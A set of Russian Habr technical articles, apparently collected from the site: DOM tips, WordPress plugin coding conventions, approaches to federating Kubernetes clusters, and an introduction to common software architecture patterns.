Вы помните, что обычно свойства относятся к атрибутам?
Иногда это не так, например, когда href — атрибут элемента, например a href="/animals/cat">Cat
el.href не даст нам /animals/cat, как этого можно ожидать. Это потому, что элемент выполняет интерфейс HTMLHyperlinkElementUtils, который представляет собой связку вспомогательных свойств вроде protocol и hash, указывающих на объект ссылки.
Это одно из полезных свойств href, которое даст полный L, а не относительный URL в атрибуте.
Таким образом, вы должны использовать el.getAttribute('href'), если вам нужна литеральная строка внутри атрибута href.
### №12. dialog
У относительно нового элемента *dialog* есть два хороших метода и один идеальный. show() и close() делают именно то, что от них ожидают. И это хорошо, я полагаю.
Но showModal() выведет *dialog* поверх любых других элементов, размещенных на странице. Нет нужды в z-index, или ручном добавлении неяркого фона, или отслеживании нажатия кнопки Escape. Браузер знает, как работают модальные окна, и все сделает для вас. И это отлично.
### №13. forEach()
Иногда, когда вам нужна отсылка к списку элементов, вы можете использовать forEach().
Но что, если вам нужно записать в лог все URL для всех ссылок страницы? Вы можете выполнить вот это и увидеть ошибку.
```
document.getElementsByTagName('a').forEach(el => {
console.log(el.href);
});
```
Или выполнить вот что:
```
document.querySelectorAll('a').forEach(el => {
console.log(el.href);
});
```
Дело в том, что getElementsByTagName и другие методы get… возвращают HTMLCollection, но querySelectorAll возвращает NodeList.
И интерфейс NodeList дает нам метод forEach() (наряду с ключами(), значениями() и entry()).
Хорошие парни из ECMA дали нам Array.from(), который превратит все, что выглядит как массив, в сам массив.
```
Array.from(document.getElementsByTagName('a')).forEach(el => {
console.log(el.href);
});
```
Бонус! Создавая массив, вы можете использовать map(), и filter(), и reduce() или любой другой метод. Например, возвращение массива внешних ссылок:
```
Array.from(document.querySelectorAll('a'))
.map(el => el.origin)
.filter(origin => origin !== document.origin)
.filter(Boolean);
```
Мне очень нравится прописывать .filter(Boolean), поскольку без этого я в будущем вынужден был бы чесать затылок, пытаясь вспомнить, что это и как оно работает.
### №14. Forms
У *form*, как вы, скорее всего, уже знаете, есть метод submit(). Несколько менее вероятно, что вы знаете, что формы имеют метод reset() и могут сообщить значение Validity(), если вы используете проверку на своих элементах формы.
Вы также можете использовать свойство элементов формы с точечной нотацией для ссылки на элемент по его атрибуту name. Например, myFormEl.elements.email вернет элемент *input name = «email» /*, который принадлежит *form* («принадлежит» не обязательно означает, что он его «потомок»).
А вот сейчас я соврал. Дело в том, что elements не возвращает список элементов. Он возвращает список элементов управления (и, конечно же, это не массив).
Пример: если у вас есть три переключателя, каждый с тем же именем animal, то formEl.elements.animal даст вам ссылку на этот набор переключателей (1 элемент управления, 3 элемента).
И formEl.elements.animal.value вернет значение выбранного переключателя.
Это странный синтаксис, если подумать. Разбивайте его, ребята: formEl — это элемент, элементы — это HTMLFormControlsCollection, не-совсем-массив, где каждый элемент не обязательно является элементом HTML. Animal имеет несколько переключателей, объединенных только потому, что они имеют один и тот же атрибут имени (для этого есть интерфейс RadioNodeList), а значение просматривает атрибут value любого переключателя в коллекции.
### №15. select()
Метод .select() выберет весь текст в любом вводе, который вы вызываете.
Спасибо за то, что прочли, надеюсь, все это будет для вас полезным. Всегда проверяйте возможности своего браузера, чтобы потом не было мучительно больно.
> **Практические от Skillbox**, которые помогут начинающему программисту стать востребованным специалистом:
>
>
>
> * [«Java-разработчик»](https://skillbox.ru/java/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=javdev&utm_content=digest&utm_term=15HTML)
> * [PHP-разработчик с 0 до PRO](https://skillbox.ru/php/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=phpdev&utm_content=digest&utm_term=15HTML)
> * [Python-разработчик с нуля](https://skillbox.ru/python/?utm_source=skillbox.media&utm_medium=habr.com&utm_campaign=ptndev&utm_content=digest&utm_term=15HTML)
> | https://habr.com/ru/post/417375/ | null | ru | null |
# Wordpress — стандарты кодирования плагинов
Увлекшись написанием плагинов для Wordpress'а составил правила хорошего тона…
Соглашение по именованию
------------------------
С чего начинается плагин — с имени :), следовательно давайте вырабатаем правила именования плагинов:
* Не используем тупых префиксов вида **wp\_** иль **wp-** — мы и так знаем что файлы в каталоге <http://wordpress.org/extend/plugins/> предназначены для wordpress'a
* Если хотите выделить Ваш плагин — добавьте оригинальный префикс/постфикс (я использую префикс **(a)** — правда не знаю насколько сие информативно)
* Все имена классов и функций должны содержать имя Вашего плагина — дабы избежать конфликтов
Всегда создавайте директорию с плагином, даже если он состоит из одного файла, возможно в дальнейшем Вы захотите расширить функционал, и вот уже одним файлом не обойтись, и создадите директорию — а это может ввести в ступор пользователей…
readme.txt
----------
Обязательным для каждого плагина есть наличие файла [readme.txt](http://wordpress.org/extend/plugins/about/readme.txt), см. описание синтаксиса <http://daringfireball.net/projects/markdown/syntax>. Проверить Ваше творение можно используя [валидатор](http://wordpress.org/extend/plugins/about/validator/).
Если Вы по каким-то причинам не заливаете свой плагин в репозиторий wordpress'a — то в любом случае создайте данный файл — многие скажут спасибо.
Заголовок
---------
Это обязательный элемент плагина, не надо в нем сильно извращаться:
> php</font
>
> /\*
>
> Plugin Name: Name Of The Plugin
>
> Plugin URI: http://URI\_Of\_Page\_Describing\_Plugin\_and\_Updates
>
> Description: A brief description of the Plugin.
>
> Version: The Plugin's Version Number, e.g.: 1.0
>
> Author: Name Of The Plugin Author
>
> Author URI: http://URI\_Of\_The\_Plugin\_Author
>
> \*/
>
> ?>
Стандарты кодирования
---------------------
[Полноценных стандартов](http://codex.wordpress.org/WordPress_Coding_Standards) от разработчиков я не видел — по этой причине использую [стандарты Zend Framework'a](http://framework.zend.com/manual/en/coding-standard.html), чего и Вам советую. (в примерах я не буду использовать коментарии для PHP Documentator'а — дабы сократить листинг сорцов).
И еще — наш плагин не должен вызывать ошибок (даже уровня *Notice*), так что при разработке включите отображение ошибок:
`error_reporting(E_ALL);`
Динамическая подгрузка файлов
-----------------------------
Подгружать сразу весь плагин, затем повесить все атцать хуков и ничего не сделать — такое поведение плагинов встречается часто, давайте будем умнее, для начала желательно убрать весь функционал по классам и файлам, и уже в функциях подгружать необходимые файлы:
> // добавим фильтр контента
>
> add\_filter('the\_content', array('%PluginName%', 'the\_content'), 1000);
>
>
>
> class %PluginName% {
>
>
>
> var $some\_variable;
>
>
>
> /\*\*
>
> \* filter fo the\_content
>
> \*
>
> \* @return void
>
> \*/
>
> function the\_content($content)
>
> {
>
> include\_once 'class/Content.php';
>
> $Content = new %PluginName%\_Content();
>
> return $Content->parseContent($content);
>
> }
>
> }
Так же желательно вешать хуки отдельно для каждого состояния — см. [список](http://codex.wordpress.org/Conditional_Tags):
> if (is\_admin()) {
>
> // хуки для админки
>
> } else {
>
> // хуки для фронт-енда
>
> }
>
> // и так далее ...
Можно даже так:
> if (is\_admin()) {
>
> include\_once '%PluginName%\_admin.php';
>
> } else {
>
> include\_once '%PluginName%\_front.php';
>
> }
>
> // и так далее ...
Переменные и пространство имен
------------------------------
Поскольку пространство имен в PHP еще не реализовано (имеются ввиду стабильные версии), то с данной задачей нам поможет справиться статический класс объединяющий в себе все функции для хуков:
> add\_action('%hook\_name%', array('%PluginName%', '%hook\_name%'));
>
>
>
> class %PluginName% {
>
>
>
> var $some\_variable;
>
>
>
> /\*\*
>
> \* some function description
>
> \*
>
> \* @return void
>
> \*/
>
> function %hook\_name%()
>
> {
>
> // ...
>
> }
>
> }
Или же обычный класс:
> // создаем сущность нашего класса
>
> $PluginName = new %PluginName%();
>
>
>
> add\_action('%hook\_name%', array($PluginName, '%hook\_name%'));
>
>
>
> class %PluginName% {
>
>
>
> var $some\_variable;
>
>
>
> /\*\*
>
> \* some function description
>
> \*
>
> \* @return void
>
> \*/
>
> function %hook\_name%()
>
> {
>
> // ...
>
> }
>
> }
>
> // удаляем переменную за ненадобностью
>
> unset($PluginName);
При использование таблицы options (это функции [add\_option](http://codex.wordpress.org/Function_Reference/add_option), [update\_option](http://codex.wordpress.org/Function_Reference/update_option), [delete\_option](http://codex.wordpress.org/Function_Reference/delete_option)) следует так же использовать префикс из имени плагина, таким образом мы будем эмулировать namespace наших опций (по какой причине до этого не додумались разработчики я не знаю)…
Следуя данным советам мы избежим конфликтов с другими плагинами…
Установка плагина
-----------------
Для инициализации системы есть хук [register\_activation\_hook](http://codex.wordpress.org/Function_Reference/register_activation_hook), используя его Вы сможете внести необходимые измения в БД (создать таблицы, внести изменения в options и т.д.). Поверьте — пользователь не всегда читаем readme.txt где будет написано, что необходимо после инициализации обязательно сохранить настройки плагина дабы значения по умолчанию были сохранены в БД…
Настройки плагина
-----------------
Давайте не будет ломать красивую админку Wordpress'a — настройки плагина должны быть расположены в соответствующем меню — **Settings** » **%Plugin Name%**.
Так же советую вынести страницу с настройками в отдельный файл с информативным названием (к примеру *%PluginName%\_options.php* либо *%PluginName%\_settings.php*):
> if (is\_admin()) {
>
> add\_action('admin\_menu', array('%PluginName%', 'adminMenu'));
>
> }
>
>
>
> class %PluginName% {
>
> function adminMenu()
>
> {
>
> if (function\_exists('add\_options\_page')) {
>
> add\_options\_page('%PluginName%','%PluginName%', 'manage\_options', '%PluginName%/%PluginName%\_options.php') ;
>
> }
>
> }
>
> }
Чтобы всё было красиво — используйте стили прописанные в wp-admin/wp-admin.css — за такой подход Вам скажут спасибо…
Деактивация плагина
-------------------
Если Вы при установке плагина вносите какие-либо изменения в БД или на файловой системе — то желательно подчистить сие после отключения плагина, в этом Вам поможет хук [register\_deactivation\_hook](http://codex.wordpress.org/Function_Reference/register_deactivation_hook).
Кастомизация
------------
Добавляем CSS и JavaScript используя следующую конструкцию:
> // регистрируем наш CSS файл
>
> wp\_register\_style('%PluginName%', get\_option('siteurl') . '/wp-content/plugins/%PluginName%/%PluginName%.css');
>
> // либо
>
> wp\_enqueue\_style('%PluginName%', get\_option('siteurl') . '/wp-content/plugins/%PluginName%/%PluginName%.css');
>
>
>
> // регистрируем наш JS файл (с указанием зависимостей)
>
> wp\_register\_script( '%PluginName%', get\_option('siteurl') . '/wp-content/plugins/%PluginName%/%PluginName%.js', array('jquery'));
>
> // либо
>
> wp\_enqueue\_script( '%PluginName%', get\_option('siteurl') . '/wp-content/plugins/%PluginName%/%PluginName%.js', array('jquery'));
Этот способ сработает отлично в том случае если данные методы будут находиться в хуке на *wp\_head* либо *admin\_head*, иначе вам самим надо будет вызвать метод *wp\_print\_styles* или *wp\_print\_scripts*, и передать им имя скрипта для вывода…
Так же не забываем о конфликтах, как их обойти почитайте в статье [How to load JavaScript in WordPress plugins](http://noteslog.com/post/how-to-load-javascript-in-wordpress-plugins/)
Если Ваш плагин имеет некое графическое оформление — и оное обычно изменяют под конкретную тему — то желательно сделать проверку на наличие CSS файла для нашего плагина в директории текущей темы:
> if (file\_exists(TEMPLATEPATH.'/%PluginName%.css')) {
>
> wp\_register\_style('%PluginName%', get\_bloginfo('template\_directory') . '/%PluginName%.css');
>
> } else {
>
> wp\_register\_style('%PluginName%', get\_option('siteurl') . '/wp-content/plugins/%PluginName%/%PluginName%.css');
>
> }
При создании CSS будьте очень внимательны, Ваш CSS файл не должен ломать текущий дизайн, так что опять — используйте либо префиксы, либо жесткую привязку:
> .%PluginName%-sidebar { /\*...\*/ }
>
> #%PluginName% { /\*...\*/ }
>
> #%PluginName% > div { /\*...\*/ }
Не стоит так же забывать о том, что на внешний вид Вашего плагина может влиять CSS файл текущей темы — так что советую подчистить margin'ги, padding'и и border'ы…
Вот такими нехитрыми приемами мы облегчим жизнь себе и дизайнерам…
Мультиязычность
---------------
Не планируете делать мультиязычность, но тогда дайте возможность другим помочь Вам, подготовьте плагин к переводу, для этого достаточно будет создать файл локализация содержащий лишь Ваш язык, да использовать следующие функции для вывода текста:
> \_\_('String', '%PluginName%');
>
> \_e('String', '%PluginName%');
>
> \_c('String', '%PluginName%');
>
> \_\_ngettext('String', 'Strings', $c, '%PluginName%')
Файлы перевода желательно так же помещать в отдельную директории language — дабы не засорять корневой каталог плагина…
Более подробную информацию смотрите на странице [I18n for WordPress Developers](http://codex.wordpress.org/I18n_for_WordPress_Developers#I18n_for_theme_and_plugin_developers)
Документация
------------
Если от пользователя требуется внести изменения в текущую тему — то желательно описать данный процес очень подробно — а не как обычно: «Вот этот код выведет то что Вы хотите».
Кстати «вот этот код», не должен вызывать ошибок если Ваш плагин будет отключен, так что не забываем обрамлять вызовы функций следующей конструкцией:
> php</font
>
> if (function\_exists('%FunctionName%')) {
>
> %FunctionName%();
>
> }
>
> ?>
Помните — конечный потребитель зачастую не программист, и ему необходимо всё разжевать и в рот положить…
Совместимость
-------------
К сожалению Wordpress позиционирует себя как система с поддержкой PHP4, так что если Вы используете PHP5, то лучше заранее сообщить об этом пользователю на этапе включения плагина, либо создайте файл для обеспечения совместимости (если вы используете лишь какие-либо специфичные функции):
> // подключаем в файле плагина
>
> if (version\_compare(phpversion(), '5.1.0', '<')) {
>
> requery\_once '%PluginName%\_compatibility.php'
>
> }
>
>
>
> // что может быть в файле
>
> if (!function\_exists('array\_diff\_key')) {
>
> function array\_diff\_key()
>
> {
>
> $args = func\_get\_args();
>
> return array\_flip(call\_user\_func\_array('array\_diff',
>
> array\_map('array\_flip',$args)));
>
> }
>
> }
Дабы не изобретать велосипедов — советую посмотреть на пакет PEAR [PHP\_Compat](http://pear.php.net/package/PHP_Compat).
Вполне вероятно Вам может так же понадобиться поддержка старых версий Wordpress'a:
> // подключаем в файле плагина
>
> if (version\_compare(get\_bloginfo('version'), '2.6.0', '<')) {
>
> requery\_once '%PluginName%\_compatibility.php'
>
> }
Выводы
------
Подведу итого.
Директория плагина может выглядеть следующим образом:
`\plugin-name
|--\languages
|--\library
|--\javascript
|--\css
|-- plugin-name.php
|-- plugin-name_admin.php
|-- plugin-name_front.php
|-- plugin-name_settings.php
|-- plugin-name_compatibility.php
|-- readme.txt`
* префикс %PluginName% не обязателен, и при большом количестве файлов даже избыточен
* languages — все переводы будут лежать тут
* library — директория для сторонних библиотек
* javascript и css — содержат javascript и css файлы для вашего плагина
* readme.txt — обязательно
* функционал разнесен по нескольким файлам (admin.php, front.php, single.php и т.д.)
* обеспечена совместимость версий (compatibility.php)
**P.S.** Если у Вас есть что добавить, либо есть ссылка на полезные ресурсы по теме — милости прошу в комментарии…
При подготовке материала были использованы следующие ресурсы:
* [Wordpress Developer Documentation](http://codex.wordpress.org/Developer_Documentation)
* [Suggestions For Plugin Standards](http://weblogtoolscollection.com/archives/2008/01/14/suggestions-for-plugin-standards/)
* [WordPress Developer’s Toolbox](http://www.smashingmagazine.com/2008/09/15/wordpress-developers-toolbox/)
Для подстветки синтаксиса кода использован ресурс [highlight.hohli.com](http://highlight.hohli.com/) | https://habr.com/ru/post/48998/ | null | ru | null |
# Как соединить кластеры Kubernetes в разных дата-центрах
**Добро пожаловать в серию кратких руководств по Kubernetes.** Это регулярная колонка с самыми интересными вопросами, которые мы получаем онлайн и на наших тренингах. Отвечает эксперт по Kubernetes.
> Сегодняшний эксперт — Даниэль Поленчик ([Daniele Polencic](https://twitter.com/danielepolencic)). Даниэль работает инструктором и разработчиком ПО в [Learnk8s](https://learnk8s.io/).
Если вы хотите получить ответ на свой вопрос в следующем посте, [свяжитесь с нами по электронной почте](http://hello@learnk8s.io) или в [Твиттере: @learnk8s](https://twitter.com/learnk8s).
Пропустили предыдущие посты? [Ищите их здесь](https://learnk8s.io/visualise-dependencies-kubernetes).
### Как соединить кластеры Kubernetes в разных дата-центрах?
> **Кратко**: [скоро выходит Kubefed v2](https://github.com/kubernetes-sigs/federation-v2), а еще советую почитать о [Shipper](https://github.com/bookingcom/shipper) и [проекте multi-cluster-scheduler](https://github.com/admiraltyio/multicluster-scheduler).
>
>
>
>
>
> Довольно часто инфраструктура реплицируется и распределяется по разным регионам, особенно в контролируемых средах.
**Если один регион недоступен, трафик перенаправляется в другой, чтобы избежать перебоев.**
С Kubernetes можно использовать схожую стратегию и распределять рабочие нагрузки по разным регионам.
У вас может быть один или несколько кластеров на команду, регион, среду или на комбинацию этих элементов.
Ваши кластеры могут размещаться в различных облаках и в локальной среде.
*Но как спланировать инфраструктуру для такого географического разброса?
Нужно создать один большой кластер на несколько облачных сред по единой сети?
Или завести много маленьких кластеров и найти способ контролировать и синхронизировать их?*
### Один руководящий кластер
*Создать один кластер по единой сети не так-то просто.*
Представьте, у вас авария, потеряна связность между сегментами кластера.
Если у вас один мастер-сервер, половина ресурсов не смогут получать новые команды, потому что им не удастся связаться с мастером.
И при этим у вас старые таблицы маршрутизации (`kube-proxy` не может загрузить новые) и никаких дополнительных pod’ов (kubelet не может запрашивать обновления).
Что еще хуже, если Kubernetes не видит узел, он помечает его как потерянный и распределяет отсутствующие pod’ы по существующим узлам.
**В итоге pod’ов у вас в два раза больше.**
Если вы сделаете по одному мастер-серверу на каждый регион, будут проблемы с алгоритмом достижения консенсуса в базе данных etcd. (*прим. ред. — На самом деле база данных etcd не обязательно должна находится на мастер-серверах. Ее можно запустить на отдельной группе серверов в одном регионе. Правда, получив при этом точку отказа кластера. Зато быстро.*)
etcd использует [алгоритм raft](http://thesecretlivesofdata.com/raft/), чтобы согласовать значение, прежде чем записать его на диск.
То есть большинство экземпляров должны достичь консенсуса, прежде чем состояние можно будет записать в etcd.
Если задержка между экземплярами etcd резко вырастает, как в случае с тремя экземплярами etcd в разных регионах, требуется много времени, чтобы согласовать значение и записать его на диск.
Это отражается и на контроллерах Kubernetes.
Менеджеру контроллеров нужно больше времени, чтобы узнать об изменении и записать ответ в базу данных.
А раз контроллер не один, а несколько, **получается цепная реакция, и весь кластер начинает работать очень медленно**.
etcd настолько чувствителен к задержке, что [в официальной документации рекомендуется использовать SSD вместо обычных жестких дисков](https://coreos.com/etcd/docs/latest/faq.html#deployment).
**Сейчас не существует хороших примеров большой сети для одного кластера.**
В основном, сообщество разработчиков и группа SIG-cluster пытаются понять, как оркестрировать кластеры так же, как Kubernetes оркестрирует контейнеры.
### Вариант 1: федерация кластеров с kubefed
Официальный ответ от SIG-cluster — [kubefed2, новая версия исходного клиента и оператора kube federation](https://github.com/kubernetes-sigs/federation-v2).
Впервые управлять коллекцией кластеров как единым объектом пробовали с помощью инструмента kube federation.
Начало было хорошим, но в итоге kube federation так и не стал популярным, потому что поддерживал не все ресурсы.
Он поддерживал объединенные поставки и сервисы, но, к примеру, не StatefulSets.
А еще конфигурация федерации передавалась в виде аннотаций и не отличалась гибкостью.
*Представьте себе, как можно описать разделение реплик для каждого кластера в федерации с помощью одних аннотаций.*
**Получился полный беспорядок.**
SIG-cluster проделали большую работу после kubefed v1 и решили подойти к проблеме с другой стороны.
**Вместо аннотаций они решили выпустить контроллер, который устанавливается на кластерах. Его можно настраивать с помощью пользовательских определений ресурсов (Custom Resource Definition, CRD).**
Для каждого ресурса, который будет входить в федерацию, у вас есть пользовательское определение CRD из трех разделов:
* стандартное определение ресурса, например деплой;
* раздел `placement`, где вы определяете, как ресурс будет распределяться в федерации;
* раздел `override`, где для конкретного ресурса можно переопределить вес и параметры из placement.
Вот пример объединенной поставки с разделами placement и override.
```
apiVersion: types.federation.k8s.io/v1alpha1
kind: FederatedDeployment
metadata:
name: test-deployment
namespace: test-namespace
spec:
template:
metadata:
labels:
app: nginx
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
containers:
- image: nginx
name: nginx
placement:
clusterNames:
- cluster2
- cluster1
overrides:
- clusterName: cluster2
clusterOverrides:
- path: spec.replicas
value: 5
```
Как видите, поставка распределена по двум кластерам: `cluster1` и `cluster2`.
Первый кластер поставляет три реплики, а у второго указано значение 5.
Если вам нужно больше контроля над количеством реплик, kubefed2 предоставляет новый объект ReplicaSchedulingPreference, где реплики можно распределять по весу:
```
apiVersion: scheduling.federation.k8s.io/v1alpha1
kind: ReplicaSchedulingPreference
metadata:
name: test-deployment
namespace: test-ns
spec:
targetKind: FederatedDeployment
totalReplicas: 9
clusters:
A:
weight: 1
B:
weight: 2
```
Структура CRD и API еще не совсем готовы, и в официальном репозитории проекта ведется активная работа.
**Следите за kubefed2, но помните, что для рабочей среды он пока не годится.**
Узнайте больше о kubefed2 из [официальной статьи о kubefed2](https://kubernetes.io/blog/2018/12/12/kubernetes-federation-evolution/) в блоге о Kubernetes и в [официальном репозитории проекта kubefed](https://github.com/kubernetes-sigs/federation-v2).
### Вариант 2: объединение кластеров в стиле Booking.com
Разработчики Booking.com не занимались kubefed v2, зато придумали Shipper — оператор для поставки на нескольких кластерах, в нескольких регионах и в нескольких облаках.
[Shipper](https://github.com/bookingcom/shipper) чем-то похож на kubefed2.
Оба инструмента позволяют настраивать стратегию развертывания на нескольких кластерах (какие кластеры используются и сколько у них реплик).
Но **задача Shipper — снизить риск ошибок при поставке.**
В Shipper можно определить ряд шагов, которые описывают разделение реплик между предыдущим и текущим деплоем и объем входящего трафика.
Когда вы отправляете ресурс в кластер, контроллер Shipper пошагово развертывает это изменение по всем объединенным кластерам.
*А еще Shipper очень ограничен.*
Например, **он принимает Helm-чарты как входные данные** и не поддерживает vanilla ресурсы.
В общих чертах, Shipper работает следующим образом.
Вместо стандартной поставки нужно создать ресурс приложения, включающий Helm-чарт:
```
apiVersion: shipper.booking.com/v1alpha1
kind: Application
metadata:
name: super-server
spec:
revisionHistoryLimit: 3
template:
chart:
name: nginx
repoUrl: https://storage.googleapis.com/shipper-demo
version: 0.0.1
clusterRequirements:
regions:
- name: local
strategy:
steps:
- capacity:
contender: 1
incumbent: 100
name: staging
traffic:
contender: 0
incumbent: 100
- capacity:
contender: 100
incumbent: 0
name: full on
traffic:
contender: 100
incumbent: 0
values:
replicaCount: 3
```
**Shipper неплохой вариант для управления несколькими кластерами, но его тесная связь с Helm только мешает.**
*А вдруг мы все перейдем с Helm на [kustomize](https://kubernetes.io/blog/2018/05/29/introducing-kustomize-template-free-configuration-customization-for-kubernetes/) или [kapitan](https://github.com/deepmind/kapitan)?*
Узнайте больше о Shipper и его философии в [этом официальном пресс-релизе](https://medium.com/booking-com-infrastructure/introducing-shipper-daf9244e3882).
Если хотите покопаться в коде, [отправляйтесь в официальный репозиторий проекта](https://github.com/bookingcom/shipper).
### Вариант 3: "магическое" объединение кластеров
Kubefed v2 и Shipper работают с федерацией кластеров, предоставляя кластерам новые ресурсы через пользовательское определение ресурсов.
*Но вдруг вы не хотите переписывать все поставки, StatefulSets, DaemonSets и т. д. для объединения?*
*Как включить существующий кластер в федерацию, не меняя YAML?*
[multi-cluster-scheduler — это проект Admirality](https://github.com/admiraltyio/multicluster-scheduler), который занимается рабочими нагрузками планирования в кластерах.
Но вместо того, чтобы придумывать новый способ взаимодействия с кластером и оборачивать ресурсы в пользовательские определения, multi-cluster-scheduler внедряется в стандартный жизненный цикл Kubernetes и перехватывает все вызовы, которые создают поды.
**Каждый создаваемый под сразу заменяется на пустышку.**
> multi-cluster-scheduler использует [веб-hooks для модификации доступа](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/), чтобы перехватить вызов и создать бездействующий pod-пустышку.
Исходный pod проходит через еще один цикл планирования, где после опроса всей федерации принимается решение о размещении.
Наконец, pod поставляется в целевой кластер.
В итоге у вас лишний pod, который ничего не делает, просто занимает место.
Преимущество в том, что вам не пришлось писать новые ресурсы для объединения поставок.
**Каждый ресурс, создающий pod, автоматически готов для объединения.**
Это интересно, ведь у вас вдруг появляются поставки, распределенные по нескольким регионам, а вы и не заметили. Впрочем, это довольно рискованно, ведь здесь все держится на магии.
Но если Shipper старается, в основном, смягчить последствия поставок, multi-cluster-scheduler выполняет более общие задачи и, возможно, лучше подходит для пакетных заданий.
У него нет продвинутого механизма постепенных поставок.
Больше о multi-cluster-scheduler можно узнать на [странице официального репозитория](https://learnk8s.io/bite-sized/connecting-multiple-kubernetes-clusters/multi-cluster-scheduler).
Если хотите прочитать о multi-cluster-scheduler в действии, у Admiralty есть [интересный случай применения с Argo](https://admiralty.io/blog/running-argo-workflows-across-multiple-kubernetes-clusters/) — рабочими процессами, событиями, CI и CD Kubernetes.
### Другие инструменты и решения
Соединение нескольких кластеров и управление ими — сложная задача, универсального решения не существует.
Если вы хотите подробнее изучить эту тему, вот вам несколько ресурсов:
* [Submariner от Rancher](https://submariner.io/) — инструмент, соединяющий оверлей-сети разных кластеров Kubernetes.
* Розничная сеть Target использует [Unimatrix в сочетании Spinnaker, чтобы оркестировать деплой на нескольких кластерах](https://tech.target.com/infrastructure/2018/06/20/enter-unimatrix.html).
* Попробуйте использовать IPV6 и [единую сеть в нескольких регионах](https://itnext.io/kubernetes-multi-cluster-networking-made-simple-c8f26827813).
* Можно использовать service mesh, например [Istio для соединения нескольких кластеров](https://istio.io/docs/setup/kubernetes/install/multicluster/).
* Cilium, плагин интерфейса сети контейнеров, предлагает [функцию cluster mesh](https://cilium.io/blog/2019/03/12/clustermesh/), которая позволяет сочетать несколько кластеров
### Вот и все на сегодня
*Спасибо, что дочитали до конца!*
Если вы знаете, как эффективнее соединить несколько кластеров, [расскажите нам](http://hello@learnk8s.io).
Мы добавим ваш способ к ссылкам.
Особая благодарность Крису Несбитту-Смиту ([Chris Nesbitt-Smith](https://github.com/chrisns)) и Венсану де Сме ([Vincent De Smet](https://github.com/so0k)) (инженеру по надежности в [swatmobile.io](https://swatmobile.io/)) за то, что прочитали статью и поделились полезной информацией о том, как работает федерация. | https://habr.com/ru/post/454056/ | null | ru | null |
# Основные архитектурные шаблоны построения ПО
[](https://habr.com/ru/company/ruvds/blog/699648/)
Краткий обзор восьми наиболее востребованных архитектурных шаблонов с иллюстрациями:
* [Многоуровневая архитектура](#anchorid);
* [«Клиент-сервер»](#anchorid1);
* [«Каналы и фильтры»](#anchorid2);
* [«SOA»](#anchorid3);
* [«Издатель-подписчик»](#anchorid4);
* [«Общие данные»](#anchorid5);
* [«Одноранговая сеть»](#anchorid6);
* [«Брокер сервисов»](#anchorid7).
По своей сути — шаблоны представляют переиспользуемые решения для типичных задач. Когда перед нами возникает такая задача, то лучше сначала поискать готовое решение в каталоге существующих шаблонов и лишь потом переходить к созданию чего-то полностью нового. В случае же обнаружения подходящего варианта останется просто подстроить его под актуальную область задачи.
Использование шаблона проектирования можно сравнить с присутствием в вашей команде других архитекторов, от которых вы получаете знания, не вкладывая в это слишком много времени. В сфере разработки ПО существует масса всевозможных шаблонов, но в этой статье я решил сосредоточиться на наиболее используемых без привязки к конкретному языку.
Чем архитектурные шаблоны отличаются от шаблонов проектирования?
В названии статьи упоминаются архитектурные шаблоны, так что, думаю, следует прояснить их [отличие от шаблонов проектирования](https://www.oreilly.com/radar/contrasting-architecture-patterns-with-design-patterns/), хотя это отличие может оказаться довольно неоднозначным. В первую очередь стоит отметить, что отличаются они типом решаемых с их помощью задач. Архитектурные шаблоны определяют решение для достижения различных качественных характеристик системы и подразумевают работу с несколькими компонентами ПО. В этом их область применения обширнее области шаблонов проектирования, которые предоставляют способ для структуризации классов с целью создания оптимальной внутренней структуры.
▍ Многоуровневый шаблон
-----------------------
Начнём с, пожалуй, наиболее востребованной многоуровневой архитектуры. Разделение системы на отдельные уровни с организацией внутри них компонентов по соответствующим критериям позволяет более слаженно взаимодействовать отдельным разработчикам и командам. В таком подходе уровни способствуют применению полезных практик [слабого зацепления и высокой связности](https://stackoverflow.com/questions/14000762/what-does-low-in-coupling-and-high-in-cohesion-mean).
Строго говоря, в этой модели каждый модуль должен присваиваться только одному уровню, притом, что вышестоящие уровни могут использовать нижестоящие. Такая структура оправдывает себя в плане обслуживаемости, позволяя разным командам параллельно работать над разными модулями. Вот пример подобной схемы:
*Многоуровневый шаблон*
API взаимодействует с сервисами бизнес-логики, которые, в свою очередь, обращаются к уровню данных. При этом все они могут иметь общий набор библиотек для повторного использования компонентов.
▍ Шаблон «Клиент-сервер»
------------------------
Тоже очень распространённый шаблон, в котором сервер предлагает один или более сервисов, потребляемых одним или более клиентами. Будучи простой, но в то же время очень мощной, эта модель даёт возможность построения распределённых систем, в которых сервер централизует ресурсы и рабочую нагрузку в одном месте, позволяя множеству потребителей использовать эти данные независимо.
На основе этого механизма работают мобильные приложения, Twitter, Medium, электронная почта, обмен файлами и Web в целом. В таком контексте пользовательские приложения потребляют данные и предоставляют интерфейс для взаимодействия с ними, в результате чего клиент и сервер формируют общую систему. Однако в рамках этого шаблона есть строгое распределение обязанностей и ответственностей.
*Шаблон «Клиент-сервер»*
▍ Шаблон «Каналы и фильтры»
---------------------------
В случае шаблона «Каналы и фильтры» каждый компонент-фильтр отвечает за одно преобразование данных или операцию с ними. Данные передаются от одного фильтра следующему максимально быстро, и операция над ними выполняется параллельно. Раздельные фильтры даже можно повторно использовать и менять местами для создания новых пайплайнов.
Этот шаблон широко применяется в анализе и преобразовании данных. Наиболее же типичный пример — это использование Unix-функции `pipe` для комбинирования команд — суть та же.
*Шаблон «Каналы и фильтры»*
Здесь можно выделить:
* *фильтр*: компонент, который считывает данные, преобразует их и возвращает результат;
* *канал*: связующий компонент, переносящий данные от одного фильтра к другому и гарантирующий их неизменность на этом пути.
Этот шаблон может оказаться вычислительно затратным в силу того принципа, по которому он выполняет анализ данных. Однако при этом он предлагает быстродействие на более высоком уровне архитектуры за счёт того, что может выполнять пост-обработку, очистку и классификацию данных, понижая рабочую нагрузку в других более неотложных процессах.
▍ Шаблон SOA
------------
В сервис-ориентированной архитектуре (SOA) независимые компоненты реализуются в виде сервисов, что предоставляет специфическую функциональность. Эти сервисы совмещаются в среде выполнения, определяя поведение системы в целом. Чтобы это сработало, потребители сервисов должны иметь возможность обнаруживать и использовать их, не зная деталей реализации.
Построить такую архитектуру можно по-разному.
Традиционные системы SOA в основном опираются на протокол SOAP, который работает путём обмена XML-сообщениями, а более «современные» приложения ориентированы на использование микросервисов, которые связываются легковесными сообщениями, передаваемыми по протоколу вроде HTTP.
